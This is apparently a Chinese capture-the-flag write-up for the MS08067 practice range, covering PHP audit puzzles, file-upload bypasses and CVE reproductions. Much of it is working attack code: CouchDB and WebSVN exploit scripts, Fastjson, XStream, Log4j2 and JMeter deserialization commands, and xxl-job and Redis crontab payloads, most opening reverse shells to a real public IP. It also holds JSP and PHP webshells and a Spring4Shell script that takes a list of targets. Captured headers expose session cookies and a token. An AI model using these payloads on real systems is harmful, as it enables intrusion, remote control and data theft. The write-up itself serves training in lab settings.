当前位置: 首页 > news >正文

MS08067练武场--WP

免责声明:本文仅用于学习和研究目的,不鼓励或支持任何非法活动。所有技术内容仅供个人技术提升使用,未经授权不得用于攻击、侵犯或破坏他人系统。我们不对因使用本文内容而引起的任何法律责任或损失承担责任。

注:此文章为快速通关,方法不全,细节等还需自己多看文献·详解。

GPT 需要请看文章末.

综合起来,题目比较简单,多cve复现。感谢@A.M.~对本文的大力付出。


目录

资料:

真题模拟

1php代审

2路径穿越

3日志包含

4md5弱比较

5md5强类型

6登录框-密码爆破

7登录框-万能密码

8登录框-sql注入

文件上传场景

upload1--前端js

2-.htaccess绕过

3-MIME校验(后端)

4-文件头+MIME

5-文件名删除

6-文件名替换

7-%00截断

8-空字符截断

9-黑名单绕过

10-条件竞争

11-二次渲染

12-/.绕过后缀检测

13-数组绕过 

VIP

2014-4210 (weblogic 弱口令 加 上传)

junams

drupal

yapi

2018-1273

CouchDB

Websvn

Nostromo

xxl-job

jmeter

fastjson

xstream ???

log4j2 ????

场景靶场

镜像站

CodeExec

接口功能

Redis ????

redis你猜

PUT

XXE

挺难的! ???

WEB

52

redis-Lua

flink

weblogic

SpringFramework

L4 ???

禅道CMS

cve-2019-9978

猫咪&cve-2020-13935 (题重)

广x


 

资料:

360 Phone N6 Pro内核漏洞 - Wiki

seacms:

【漏洞复现-seaCms-命令执行】vulfocus/seacms-cnvd_2020_22721_cnvd-2020-22721-CSDN博客


真题模拟

1php代审

MS08067喊你来找Flag了
your key: <title>CheckMe-01</title>
<?php
print("<h1>MS08067喊你来找Flag了</h1>");
?>
<form action="index.php" method="POST">your key: <input type="text" name="key" /><input type="submit" value="Submit" />
</form>
<?php
if(!empty($_POST['key'])){$keys = $_POST['key'];show_source("index.php");$keys = base64_decode(urldecode($keys));if(strlen($keys)==6){if($keys=="ctfctf"){print("<p>You win!</p>");include("flag.php");print($flag);}}else{print("末心:大漏特漏!此乃九年义务教育漏网之鱼。");}
}
?>

Y3RmY3Rm


2路径穿越

欢迎来到CheckMe-02,快来寻找你的Flag并提交吧。
flag{6de32f81-5388-4baa-a7a3-01f1d0d4ece0} <?php include($_GET['url']);?>


3日志包含

<?php include($_GET['text']);?>

包含日志---webshell

env

set


4md5弱比较

<?php $flag="";$a=$_GET["a"];$b=$_GET["b"];if(isset($a) && isset($b)){if(!ctype_alpha($a)){die("a error");}if(!is_numeric($b)){die("b error");}if(md5($a)==md5($b)){echo $flag;}}else{  echo "请问,flag在哪里?";}?>

md5弱比较

总结ctf中 MD5 绕过的一些思路_ctf md5绕过-CSDN博客

a为字母

b为数字


5md5强类型

md5强类型绕过

<?php$a=$_GET["a"];$b=$_GET["b"];if($a!==$b && md5($a)===md5($b)){echo($flag);}?>
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2


6登录框-密码爆破

admin

密码:xxxxxxxxx(全数字)

密码爆破就完了,


7登录框-万能密码

万能密码

admin'#

密码随便输


8登录框-sql注入

sqlmap post time-blind


文件上传场景

来源国光文件上传靶场

1-13

国光文件上传靶场 WriteUp | lololowe的博客

upload1--前端js

过前端js检测就


function checkfilesuffix()
{var file=document.getElementsByName('file')[0]['value'];if(file==""||file==null){swal("请添加上传文件", "", "error");return false;}else{var whitelist=new Array(".jpg",".png",".gif",".jpeg");var file_suffix=file.substring(file.lastIndexOf("."));if(whitelist.indexOf(file_suffix) == -1){swal("只允许上传图片类型的文件!", "", "error");return false;}}
}function error(){swal("上传失败", "", "error");
}

禁用js,上传php/上传jpg后缀,抓包,改jpg为php,过前端验证即可。


2-.htaccess绕过

题目:黑名单

.htaccess文件是Apache服务器特有的配置文件,默认启用,用于配置Apache服务器,具体用法可以参看此文章:https://xz.aliyun.com/t/8267?time__1311=n4%2BxnD0Dc7exyDjxYqGNWP4IrVnuYA5GCzReD其中我们可以利用到的.htaccess文件指令是AddHandler(SetHandler指令也可利用,但稍微长一些,具体用法参看刚提到的文章),可以将特定的文件格式与特定的MIME类型进行绑定,例如将.jpg文件与application/x-httpd-php进行绑定,这样Apache服务器在解析.jpg文件时,就会将其当作php文件进行解析。上传 	.htaccess
# 将 .phps .php3p .png .jpg .gif 当做 PHP 文件解析
AddType application/x-httpd-php .phps .php3p .png .jpg .gif再上传shell.jpg 等等即可  解析为php


3-MIME校验(后端)

image/jpeg
image/png
image/gif
image/jpg上传shell.php文件,bp抓包将MIME类型由application/octet-stream改为image/jpeg,即可成功上传:
/上传shell.jpg  == image/jpg ,改后缀为 php  


4-文件头+MIME

MIME类型:
image/jpeg
image/jpg
image/png
image/gif文件头及对应的文件格式:
89504E47  --  .png
FFD8FFE0  --  .jpg
47494638  --  .gif

copy pic.png/b + shell.php/a shell.png
图片马


5-文件名删除

shell.php --- > shell.

shell.phphpp --> shell.php

6-文件名替换

shell.pphphp ---> shell.p hp

shell.PHP

xxxxxxxxxxxxxxxxxxxxxxxxx


7-%00截断

8-空字符截断

%00 再url-de


9-黑名单绕过

shell.php5


10-条件竞争

payload

<?php fputs(fopen('shell.php','w'),'<?php eval($_REQUEST[1]);?>');?><?php fputs(fopen('xiao.php','w'),'<?php eval($_REQUEST[1]);?>');?>

# coding:utf-8
import requests
from concurrent.futures import ThreadPoolExecutordef td(list):url = 'http://110.42.47.105:17373'file = {'upload_file': ('szm.php', "<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[1]);?>'); ?>")}data = {'submit': 'Upload'}r = requests.post(url=url, data=data, files=file)re = requests.get('http://110.42.47.105:17373/upload/shell.php')if re.status_code == 200:print('上传成功')if __name__ == '__main__':with ThreadPoolExecutor(20) as p:p.map(td, range(200000))

xxxxxxxxxxxxxxxxxxxxxxxx


11-二次渲染

http://110.42.47.105:17953/?file=./upload/1946210678.gif

gif


12-/.绕过后缀检测


13-数组绕过 

copy 1.jpg/b+2.php 3.jpg

本题主要考察代码审计,涉及到MIME验证+白名单+上传路径可控 
源码如下 
$is_upload = false; 
$msg = null; 
if(!empty($_FILES['upload_file'])){ //检查MIME $allow_type = array('image/jpeg','image/png','image/gif'); if(!in_array($_FILES['upload_file']['type'],$allow_type)){ $msg = "禁止上传该类型文件!"; }else{ //检查文件名 $file = empty($_POST['save_name']) ? 
$_FILES['upload_file']['name'] : $_POST['save_name']; if (!is_array($file)) { $file = explode('.', strtolower($file)); } $ext = end($file); $allow_suffix = array('jpg','png','gif'); if (!in_array($ext, $allow_suffix)) { $msg = "禁止上传该后缀文件!"; }else{ $file_name = reset($file) . '.' . $file[count($file) - 1]; $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH . '/' .$file_name; if (move_uploaded_file($temp_file, $img_path)) { 
$msg = "文件上传成功!"; 
$is_upload = true; 
} else { 
$msg = "文件上传失败!"; 
} 
} 
} 
}else{ 
$msg = "请选择要上传的文件!"; 
} 例如上传upload.php.jpg 
就会返回数组 
array(3){ 
[0]=>upload, 
[1]=>php, 
[2]=>jpg 
} –> 判断数组最后一个元素是否在白名单中 
因此,可利用数组构造最后一个元素为白名单内的后缀('jpg','png','gif')


VIP

2014-4210 (weblogic 弱口令 加 上传)

Weblogic漏洞复现之SSRF(CVE-2014-4210) flag在环境变量

Weblogic SSRF漏洞(CVE-2014-4210)漏洞复现 - 哔哩哔哩

/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.18.0.1:6379

weblogic

ssrf ????? bot !     内网ip我是真不知道。

弱口令+webshell:

弱口令 weblogic Oracle@123

大体上传流程: 渗透测试-Weblogic后台部署War大马_创建war大马-CSDN博客

/root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/upload

上传成功,访问 /21/21.jsp 连马子即可。


junams

junams 文件上传 (CNVD-2020-24741)复现-CSDN博客


drupal

Drupal 远程代码执行漏洞(CVE-2019-6339)简单复现 - Mke2fs - 博客园

Drupal 远程代码执行漏洞(CVE-2019-6339)goby 秒了  

yapi

YAPI是由去哪儿网移动架构组(简称YMFE,一群由FE、iOS和Android工程师共同组成的最具想象力、创造力和影响力的大前端团队)开发的可视化接口管理工具,是一个可本地部署的、打通前后端及QA的接口管理平台。YAPI发布在公网且开发注册,会导致攻击者注册后执行任意命令。

软件 ,接口 ,rce

YApi Mock 远程代码执行漏洞


2018-1273

goby 秒了

描述:Spring Expression Language是一个功能强大的表达式 语言支持查询和在运行时操作一个对象图。 攻击者可以在未获得授权的情况下,将精心制作的请求参数注入到存在该漏洞的服务器上,从而发起远程代码执行攻击。

CouchDB

Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)。EXP:
#!/usr/bin/env python3
import requests
import json
import base64
from requests.auth import HTTPBasicAuthtarget = 'http://your-ip:5984'
command = rb"""sh -i >& /dev/tcp/10.0.0.1/443 0>&1"""
version = 1session = requests.session()
session.headers = {'Content-Type': 'application/json'
}
# session.proxies = {
#     'http': 'http://127.0.0.1:8085'
# }
session.put(target + '/_users/org.couchdb.user:wooyun', data='''{"type": "user","name": "wooyun","roles": ["_admin"],"roles": [],"password": "wooyun"
}''')session.auth = HTTPBasicAuth('wooyun', 'wooyun')command = "bash -c '{echo,%s}|{base64,-d}|{bash,-i}'" % base64.b64encode(command).decode()
if version == 1:session.put(target + ('/_config/query_servers/cmd'), data=json.dumps(command))
else:host = session.get(target + '/_membership').json()['all_nodes'][0]session.put(target + '/_node/{}/_config/query_servers/cmd'.format(host), data=json.dumps(command))session.put(target + '/wooyun')
session.put(target + '/wooyun/test', data='{"_id": "wooyuntest"}')if version == 1:session.post(target + '/wooyun/_temp_view?limit=10', data='{"language":"cmd","map":""}')
else:session.put(target + '/wooyun/_design/test', data='{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}')

Websvn

Websvn是一个应用软件。一个在线Subversion存储库浏览器,WebSVN 2.6.1之前版本存在安全漏洞,其search.php?search= 参数下过滤不严谨导致RCEEXP:
# Exploit Title: Websvn 2.6.0 - Remote Code Execution (Unauthenticated)
# Date: 20/06/2021
# Exploit Author: g0ldm45k
# Vendor Homepage: https://websvnphp.github.io/
# Software Link: https://github.com/websvnphp/websvn/releases/tag/2.6.0
# Version: 2.6.0
# Tested on: Docker + Debian GNU/Linux (Buster)
# CVE : CVE-2021-32305import requests
import argparse
from urllib.parse import quote_plusPAYLOAD = "/bin/bash -c 'bash -i >& /dev/tcp/127.0.0.1/9999 0>&1'"
REQUEST_PAYLOAD = '/search.php?search=";{};"'parser = argparse.ArgumentParser(description='Send a payload to a websvn 2.6.0 server.')
parser.add_argument('target', type=str, help="Target URL.")args = parser.parse_args()if args.target.startswith("http://") or args.target.startswith("https://"):target = args.target
else:print("[!] Target should start with either http:// or https://")exit()requests.get(target + REQUEST_PAYLOAD.format(quote_plus(PAYLOAD)))print("[*] Request send. Did you get what you wanted?")

Nostromo

脚本地址:GitHub - jas502n/CVE-2019-16278: Directory transversal to remote code execution

./CVE-2019-16278.sh IP地址 端口号 id


xxl-job

xxl-job远程命令执行漏洞复现_xxljob漏洞-CSDN博客

POST /run HTTP/1.1
Host: 27.25.151.24:21353
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Cookie: JSESSIONID=pqntnN1B82PhSh6nzsYJ78QM6crqSRgQQnY2yRf2k3bkl4CQc24x!1436664085; thinkphp_show_page_trace=0|0; PHPSESSID=j49mvsid608froa0gcftn8euoe; login_auto=YXs3g0Y%3D%7C5262229ded4a9fe53c184a493a611b345490077d; eth0_num=0; eth0_time=1737625442; eth0=566.285; _yapi_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjE0LCJpYXQiOjE3MzgwMjcxNjIsImV4cCI6MTczODYzMTk2Mn0.wPIYaltoPBnDTMYBWK_0cdLzFP_62xuWmeB78csh6GQ; _yapi_uid=14
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Content-Type: application/x-www-form-urlencoded{"jobId": 1,"executorHandler": "demoJobHandler","executorParams": "demoJobHandler","executorBlockStrategy": "COVER_EARLY","executorTimeout": 0,"logId": 1,"logDateTime": 1586629003729,"glueType": "GLUE_SHELL","glueSource": "echo 'bash -i >& /dev/tcp/39.105.154.133/9090 0>&1' > /tmp/1.sh","glueUpdatetime": 1586699003758,"broadcastIndex": 0,"broadcastTotal": 0
}POST /run HTTP/1.1
Host: 27.25.151.24:21353
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Cookie: JSESSIONID=pqntnN1B82PhSh6nzsYJ78QM6crqSRgQQnY2yRf2k3bkl4CQc24x!1436664085; thinkphp_show_page_trace=0|0; PHPSESSID=j49mvsid608froa0gcftn8euoe; login_auto=YXs3g0Y%3D%7C5262229ded4a9fe53c184a493a611b345490077d; eth0_num=0; eth0_time=1737625442; eth0=566.285; _yapi_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjE0LCJpYXQiOjE3MzgwMjcxNjIsImV4cCI6MTczODYzMTk2Mn0.wPIYaltoPBnDTMYBWK_0cdLzFP_62xuWmeB78csh6GQ; _yapi_uid=14
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Content-Type: application/x-www-form-urlencoded{"jobId": 1,"executorHandler": "demoJobHandler","executorParams": "demoJobHandler","executorBlockStrategy": "COVER_EARLY","executorTimeout": 0,"logId": 1,"logDateTime": 1586629003729,"glueType": "GLUE_SHELL","glueSource": "chmod +x /tmp/1.sh","glueUpdatetime": 1586699003758,"broadcastIndex": 0,"broadcastTotal": 0
}POST /run HTTP/1.1
Host: 27.25.151.24:21353
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Cookie: JSESSIONID=pqntnN1B82PhSh6nzsYJ78QM6crqSRgQQnY2yRf2k3bkl4CQc24x!1436664085; thinkphp_show_page_trace=0|0; PHPSESSID=j49mvsid608froa0gcftn8euoe; login_auto=YXs3g0Y%3D%7C5262229ded4a9fe53c184a493a611b345490077d; eth0_num=0; eth0_time=1737625442; eth0=566.285; _yapi_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjE0LCJpYXQiOjE3MzgwMjcxNjIsImV4cCI6MTczODYzMTk2Mn0.wPIYaltoPBnDTMYBWK_0cdLzFP_62xuWmeB78csh6GQ; _yapi_uid=14
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Content-Type: application/x-www-form-urlencoded{"jobId": 1,"executorHandler": "demoJobHandler","executorParams": "demoJobHandler","executorBlockStrategy": "COVER_EARLY","executorTimeout": 0,"logId": 1,"logDateTime": 1586629003729,"glueType": "GLUE_SHELL","glueSource": "/bin/bash /tmp/1.sh","glueUpdatetime": 1586699003758,"broadcastIndex": 0,"broadcastTotal": 0
}监听,---上线。

jmeter

Jmeter RMI 反序列化命令执行漏洞

工具:

GitHub - Y4er/ysoserial: ysoserial修改版,着重修改ysoserial.payloads.util.Gadgets.createTemplatesImpl使其可以通过引入自定义class的形式来执行命令、内存马、反序列化回显。

https://github.com/Y4er/ysoserialjava -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit 27.25.151.24 21492 BeanShell1 'touch /tmp/success'
反弹shell:
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit 27.25.151.24 21492 BeanShell1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zOS4xMDUuMTU0LjEzMy85MDkwIDA+JjE=}|{base64,-d}|{bash,-i}"

fastjson

Fastjson漏洞复现 - kar3a - 博客园

GitHub - mbechler/marshalsec

创建恶意类 (带反弹shell)

javac ----> .class

启动http

用工具启动rmi,监听9999端口

发包,反弹shell,拿下。

curl http://27.25.151.24:28493/ -H "Content-Type: application/json" --data '{"name":"karsa", "age":22}'// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;public class TouchFile {static {try {Runtime rt = Runtime.getRuntime();String[] commands = {"/bin/bash", "-c", "bash -i >& /dev/tcp/39.105.154.133/6666 0>&1"};Process pc = rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing}}
}java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://39.105.154.133:1337/#TouchFile" 9999POC:
POST / HTTP/1.1
Host: 27.25.151.24:26795
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://39.105.154.133:9999/TouchFile","autoCommit":true}
}

xstream ???

CVE-2021-29505 XStream远程代码执行漏洞复现

CVE-2021-21351:XStream反序列化远程代码执行漏洞简析

Xstream反序列化漏洞复现 - Arrest - 博客园

/bin/bash -i>& /dev/tcp/39.105.154.133/9090 0>&1L2Jpbi9iYXNoIC1pPiYgL2Rldi90Y3AvMzkuMTA1LjE1NC4xMzMvOTA5MCAwPiYxjava -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections6 "bash -c {echo,L2Jpbi9iYXNoIC1pPiYgL2Rldi90Y3AvMzkuMTA1LjE1NC4xMzMvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}"POST / HTTP/1.1
Host: 192.168.50.129:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: application/xml
Content-Length: 1675
​
<java.util.PriorityQueue serialization='custom'> <unserializable-parents/> <java.util.PriorityQueue> <default> <size>2</size> </default> <int>3</int> <javax.naming.ldap.Rdn_-RdnEntry> <type>12345</type> <value class='com.sun.org.apache.xpath.internal.objects.XString'> <m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj> </value> </javax.naming.ldap.Rdn_-RdnEntry> <javax.naming.ldap.Rdn_-RdnEntry> <type>12345</type> <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'> <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'> <parsedMessage>true</parsedMessage> <soapVersion>SOAP_11</soapVersion> <bodyParts/> <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'> <attachmentsInitialized>false</attachmentsInitialized> <nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'> <aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'> <candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'> <names> <string>aa</string> <string>aa</string> </names> <ctx> <environment/> <registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'> <java.rmi.server.RemoteObject> <string>UnicastRef</string> <string>39.105.154.133</string> <int>4444</int> <long>0</long> <int>0</int> <long>0</long> <short>0</short> <boolean>false</boolean> </java.rmi.server.RemoteObject> </registry> <host>39.105.154.133</host> <port>4444</port> </ctx> </candidates> </aliases> </nullIter> </sm> </message> </value> </javax.naming.ldap.Rdn_-RdnEntry> </java.util.PriorityQueue> </java.util.PriorityQueue>POST / HTTP/1.1
Host: 27.25.151.24:27172
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Cookie: _yapi_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjE0LCJpYXQiOjE3MzgwMjcxNjIsImV4cCI6MTczODYzMTk2Mn0.wPIYaltoPBnDTMYBWK_0cdLzFP_62xuWmeB78csh6GQ; _yapi_uid=14
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/132.0.0.0
Referer: http://attck.ms08067.com/
Content-Type: application/xml<java.util.PriorityQueue serialization='custom'><unserializable-parents/><java.util.PriorityQueue><default><size>2</size></default><int>3</int><javax.naming.ldap.Rdn_-RdnEntry><type>12345</type><value class='com.sun.org.apache.xpath.internal.objects.XString'><m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj></value></javax.naming.ldap.Rdn_-RdnEntry><javax.naming.ldap.Rdn_-RdnEntry><type>12345</type><value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'><message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'><parsedMessage>true</parsedMessage><soapVersion>SOAP_11</soapVersion><bodyParts/><sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'><attachmentsInitialized>false</attachmentsInitialized><nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'><aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'><candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'><names><string>aa</string><string>aa</string></names><ctx><environment/><registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'><java.rmi.server.RemoteObject><string>UnicastRef</string><string>39.105.154.133</string><int>6666</int><long>0</long><int>0</int><long>0</long><short>0</short><boolean>false</boolean></java.rmi.server.RemoteObject></registry><host>39.105.154.133</host><port>6666</port></ctx></candidates></aliases></nullIter></sm></message></value></javax.naming.ldap.Rdn_-RdnEntry></java.util.PriorityQueue>
</java.util.PriorityQueue>

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -i >& /dev/tcp/39.105.154.133/9090 0>&1 2>&1" -A 39.105.154.133bash -i >& /dev/tcp/39.105.154.133/8888 0>&1 2>&1rmi://39.105.154.133:1099/jskfvrjava 1.8 8 11 17 

log4j2 ????

https://github.com/welk1 n/JNDI-Injection-Exploit/releases/tag/v1.0

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "想要执行的命令" -A "攻击机 的ip"java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0OS4xMjgvNzc3NyAwPiYx} |{base64,-d} | {bash,-i}" -A "攻击机ip"java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zOS4xMDUuMTU0LjEzMy8xMDAwMSAwPiYx} |{base64,-d} | {bash,-i}" -A "39.105.154.133"${jdni:rmi://39.105.154.133:1099/vacwrg}==================================
使用JNDI-Injection-Exploit.jar工具生成反弹shell :(反弹语句:bash -i >& /dev/tcp/xx..xx.88/10001 0>&1)


场景靶场

镜像站

ssrf

CTFHub之Web篇之Web实战之SSRF(更新中~~) - AcWing

file协议读取即可


CodeExec

目录扫描

扫出 [12:08:43] 200 - 199B - /shell.php

访问 get cmd 执行命令

?cmd=set


接口功能

ping


Redis ????

未授权

// 设置key
set xxx "\n\n* * * * * bash -i>& /dev/tcp/39.105.154.133/9090 0>&1\n\n"
//添加名为xxx的key,值为后面反弹shell的语句,5个星号代表每分钟执行一次,其中的\n同样是为了换行,避免crontab的语法错误。这里你也可以去不加\n,去看看乱码,踩个坑才能印象深刻
// 设置路径
config set dir /var/spool/cron/
// 设置文件名
config set dbfilename root
// 保存key值到root文件中
save
然后等待成功就行了flag{7b992efb5ab23a3a3d5100e366c48423}flag{7b992efb5ab23a3a3d5100e366c48423}http://101.43.64.97:36291/
redis-cli -h 101.43.64.97 -p 36291// 设置key
set xxx "\n\n* * * * * bash -i>& /dev/tcp/39.105.154.133/2333 0>&1\n\n"
//添加名为xxx的key,值为后面反弹shell的语句,5个星号代表每分钟执行一次,其中的\n同样是为了换行,避免crontab的语法错误。这里你也可以去不加\n,去看看乱码,踩个坑才能印象深刻
// 设置路径
config set dir /var/spool/cron/
// 设置文件名
config set dbfilename root
// 保存key值到root文件中
save
然后等待成功就行了


redis你猜

文件包含

/etc/redis.conf


PUT

Tomcat任意写入文件漏洞(CVE-2017-12615)

抓首页包,改包,改请求方式:

PUT /1.jsp/ HTTP/1.1
Host: 101.43.64.97:37944
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5shell马子。rce
<%java.io.InputStream is = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();int a = -1;byte[] b = new byte[2048];while ((a = is.read(b)) != -1) {out.print(new String(b));}
%>

xxxx?cmd=env


XXE

登录框,

CTF XXE - MustaphaMond - 博客园


挺难的! ???

mysql


WEB

52

cve-2017-5638

struts2-045 远程代码执行漏洞(CVE-2017-5638)

随便上传一个文件

url复制过来,直接检测


redis-Lua

春秋云境:CVE-2022-0543(Redis 沙盒逃逸漏洞)-CSDN博客

redis-cli -h xxx -p xxx

payload:

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("env", "r"); local res = f:read("*a"); f:close(); return res' 0


flink

文件上传 jsp

.jar

goby 利用。


weblogic

rce

goby秒了


SpringFramework

Spring core是Spring系列产品中用来负责发现、创建并处理bean之间的关系的一个工具包,是一个包含Spring框架基本的核心工具包,Spring其他组件都要使用到这个包。

#!/usr/bin/env python3
#coding:utf-8import requests
import argparse
from urllib.parse import urljoindef Exploit(url):headers = {"suffix":"%>//","c1":"Runtime","c2":"<%","DNT":"1","Content-Type":"application/x-www-form-urlencoded"}data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="try:go = requests.post(url,headers=headers,data=data,timeout=15,allow_redirects=False, verify=False)shellurl = urljoin(url, 'tomcatwar.jsp')shellgo = requests.get(shellurl,timeout=15,allow_redirects=False, verify=False)if shellgo.status_code == 200:print(f"漏洞存在,shell地址为:{shellurl}?pwd=j&cmd=whoami")except Exception as e:print(e)passdef main():parser = argparse.ArgumentParser(description='Srping-Core Rce.')parser.add_argument('--file',help='url file',required=False)parser.add_argument('--url',help='target url',required=False)args = parser.parse_args()if args.url:Exploit(args.url)if args.file:with open (args.file) as f:for i in f.readlines():i = i.strip()Exploit(i)if __name__ == '__main__':main()

L4 ???

java 版本问题???????!!!!!!!!!!!!!!! vps自身防御问题。

